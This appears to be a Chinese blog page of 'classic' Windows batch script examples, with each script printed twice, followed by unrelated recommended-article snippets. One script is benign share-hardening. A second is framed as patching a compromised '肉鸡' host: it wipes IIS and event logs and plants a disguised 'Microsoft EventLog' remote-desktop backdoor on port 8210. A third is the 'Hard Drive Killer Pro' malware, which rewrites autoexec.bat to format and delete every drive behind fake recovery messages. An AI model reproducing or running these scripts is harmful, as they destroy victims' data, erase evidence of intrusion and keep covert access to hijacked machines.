BAT的实例应用

经典BAT批处理实例大全(含大量实用示例) 批处理脚本是一种以.bat或.cmd为扩展名的文本文件,其中包含一系列Windows命令。系统通过cmd.exe解释并逐行执行这些命令,从而完成自动化操作。例如,一个最简单的批处理脚本如下:@echo offpause@echo off:关闭命令回显,使脚本运行更整洁。echo:输出指定的文本信息。pause:暂停脚本执行,等待用户按键继续。这些命令构成了批处理脚本的基础执行逻辑,便于后续扩展为更复杂的自动化任务。 阅读详情
BAT的实例应用

1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:/delshare.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg
echo "AutoShareWks"=dword:00000000>> c:/delshare.reg
echo "AutoShareServer"=dword:00000000>> c:/delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:/delshare.reg
echo Deleting the temprotarily files.
del c:/delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to
Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:/winnt/system32/logfiles/w3svc1/*.* /f /q
@del c:/winnt/system32/logfiles/w3svc2/*.* /f /q
@del c:/winnt/system32/config/*.event /f /q
@del c:/winnt/system32dtclog/*.* /f /q
@del c:/winnt/*.txt /f /q
@del c:/winnt/*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:/autoexec.bat >nul
echo @echo off >c:/autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat
call attrib +r +h c:/autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d/*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:/autoexec.bat >nul
echo @echo off >c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat
echo cd/ >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat
echo echo. >>c:/autoexec.bat
echo echo Regards, >>c:/autoexec.bat
echo echo. >>c:/autoexec.bat
echo echo Munga Bunga >>c:/autoexec.bat
call attrib +r +h c:/autoexec.bat
:makedir
if exist c:/temp.bat attrib -r -h c:/temp.bat >nul
echo @echo off >c:/temp.bat
echo %%1:/ >>c:/temp.bat
echo cd/ >>c:/temp.bat
echo :startmd >>c:/temp.bat
echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat
echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat
call attrib +r +h c:/temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul
call attrib +r +h c:/temp.bat >nul
call attrib +r +h c:/autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:/*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:/delshare.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg
echo "AutoShareWks"=dword:00000000>> c:/delshare.reg
echo "AutoShareServer"=dword:00000000>> c:/delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:/delshare.reg
echo Deleting the temprotarily files.
del c:/delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to
Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters] >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/NetBT/Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:/winnt/system32/logfiles/w3svc1/*.* /f /q
@del c:/winnt/system32/logfiles/w3svc2/*.* /f /q
@del c:/winnt/system32/config/*.event /f /q
@del c:/winnt/system32dtclog/*.* /f /q
@del c:/winnt/*.txt /f /q
@del c:/winnt/*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/WinStations/RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Termina l Server/Wds/rdpwd/Tds/tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,/ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,65,/ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78, 00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:/winnt/system32/termsrv.exe c:/winnt/system32/eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:/autoexec.bat >nul
echo @echo off >c:/autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:/autoexec.bat
call attrib +r +h c:/autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d/*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.//ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.//ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:/autoexec.bat >nul
echo @echo off >c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) do call c:/temp.bat %%%%a Bunga >nul >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:/autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:/ >nul >>c:/autoexec.bat
echo cd/ >>c:/autoexec.bat
echo cls >>c:/autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:/autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:/autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:/autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:/autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:/autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:/autoexec.bat
echo echo. >>c:/autoexec.bat
echo echo Regards, >>c:/autoexec.bat
echo echo. >>c:/autoexec.bat
echo echo Munga Bunga >>c:/autoexec.bat
call attrib +r +h c:/autoexec.bat
:makedir
if exist c:/temp.bat attrib -r -h c:/temp.bat >nul
echo @echo off >c:/temp.bat
echo %%1:/ >>c:/temp.bat
echo cd/ >>c:/temp.bat
echo :startmd >>c:/temp.bat
echo for %%%%a in ("if not exist %%2/nul md %%2" "if exist %%2/nul cd %%2") do %%%%a >>c:/temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:/temp.bat
echo if not exist %%1:/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2 /%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/%%2/nul goto startmd >>c:/temp.bat
call attrib +r +h c:/temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:/*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:/ /S >nul
call attrib +r +h c:/temp.bat >nul
call attrib +r +h c:/autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:/*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:/temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

 

windows 批处理 实例 示例 bat 经典 文件夹 PATH 列表 卷序列号码为 0006EEA4 609C:F719 F:. └─批处理大全 ├─批处理资料 ├─收集的常用批处理 bat 程序 │ ├─其它类 │ ├─系统类 │ └─网络类 └─经典代码 ├─其他 ├─大型&综合性脚本 │ ├─Tel │ ├─XP安全设置补丁批处理 │ ├─公交线路查询 │ ├─文件备份器 │ ├─文件归类整理器 │ ├─英汉互译器 │ └─身份证信息查询 ├─字符串提取&替换等操作 ├─数值计算 ├─文件创建&改名等操作 ├─格式转换 ├─系统优化 │ ├─C盘个人资料转移器 │ │ ├─Desktop │ │ ├─Favorites │ │ ├─My Documents │ │ ├─OE │ │ └─Temp │ ├─XP安全设置补丁批处理 │ ├─XP自动优化批处理文件3.0 │ ├─全盘禁止运行指定程序 │ ├─关闭无用的服务 │ └─快速清理垃圾文件安装修改版 ├─系统信息查询&修改 └─获取路径 立即下载

相关推荐

windows bat 批处理实例合集

windows bat 批处理 实例代码 参考学习; windows bat 批处理 实例代码 参考学习

C语言再学习 -- DOC命令

下载:DOC命令 参看:DOS函数参考手册.chm 参看:bat脚本基础教程 之前使用场景: STM32开发 – 自动连接一个未保存过的WIFI STM32开发 – 打开网址测试脚本编写 STM32开发 – WIFI那些事儿(一) 判断一个文件夹是否存在,不存在则创建

不积跬步,无以至千里 1135

常用BAT合集,总共有71个例子

有很多很有用的bat的命令 可以参考学习,然后根据自己的需求制作bat文件

bat实例

bat实例 bat实例 bat实例 bat实例

489

facebook协议

支持同时登录多个Facebook账号,按照关键词采集小组地址,群发小组,批量添加推荐人,群发推 荐人消息,采集个人Facebook用户,群发用户私信,群发主页评论。通过客服台管理功能,和粉丝互动聊天,通过话术快捷回复,自动翻译聊天记录。通过FaceBook小组采集小组成员id,或者通过FaceBook个人主页,采集主页上粉丝批量操作已FaceBook账号添加推荐热,可以指定添加某个国家的推荐人,可以设置每个账号添加推荐人个数去重模式:所有的FaceBook账号不添加重复的推荐人。

2503_90751938的博客 953

Zotero PDF Translate插件实战:DeepL API免费申请与高效翻译配置指南

本文提供Zotero PDF Translate插件配置DeepL API的完整实战指南。详细介绍了如何免费申请DeepL API密钥,解决国内访问问题,并在插件中完成精细配置,实现文献阅读时的无缝划词翻译,大幅提升科研人员和学生的英文文献阅读效率。

rum55的博客 455

Win10家庭版如何添加本地用户和组

在众多Windows版本中,Windows 10以其丰富的功能和卓越的性能吸引了大量用户。然而,对于使用Win10家庭版的用户来说,他们可能会遇到一些功能上的限制,特别是在用户和组管理方面。虽然家庭版在某些高级功能上有所缩减,但我们仍然可以通过一些技巧来实现对本地用户和组的管理。本文将详细介绍如何在Win10家庭版中添加本地用户和组,以便用户能够更好地管理计算机资源。

nntxthml的博客 4555

python3 调用 .bat 及传参 os.system().txt

0.os.system(command) 在子shell中执行命令。 1.os.system('xx.bat 参数1 参数2...') python调用外部命令及传参。 xx.bat,全景照片批处理命令,绝对路径,路径分隔符:"\" -> "/"。 参数1,2,可以是绝对、相对路径,比如: F:/LongGeTasks/streetView/streetImg3/ladybug_panora...

weixin_42193179的博客 6063

LabVIEW 调用MATLAB 进行图像处理的实现

程机械及设备的变形、振动、冲击、粗糙度、刚度和强度等特性,还可用在土木结构、水利设施的变形测量[4][5]。因此,该技术在机械、土木、水利、电器、航空航天、兵器工业及生物医学等领域的检测中具有非常重要的地位。将物面前方空间的散斑用摄像设备记录下来,当物体运动或由于受力而变形时,这些随机分布的散斑图也随之在空间按一定的规律运动,因此能用记录的散斑图在计算机上分析物体的运动和变形,这就是电子散斑技术。当物体的漫反射表面被激光照射时,漫反射的光波在物体表面的前方相互干涉,由于漫反射光的。

qq_37971227的博客 3873

Android 13高通平台CTS camera部分fail项修改(续)

接着上一篇,有几个提了case高通也分析了很久的fail项,其中最离谱的是问题1,第一个接手case的人反反复复处理、内部排查踢皮球、要求log,折腾了很久,最终就给出个解不了的结论。后面还是靠着自己发现了一些蛛丝马迹,并且换了个case接手人才最终解决。

hkj887tg的博客 2059

Mysql bat脚本编写_第一次编写bat脚本

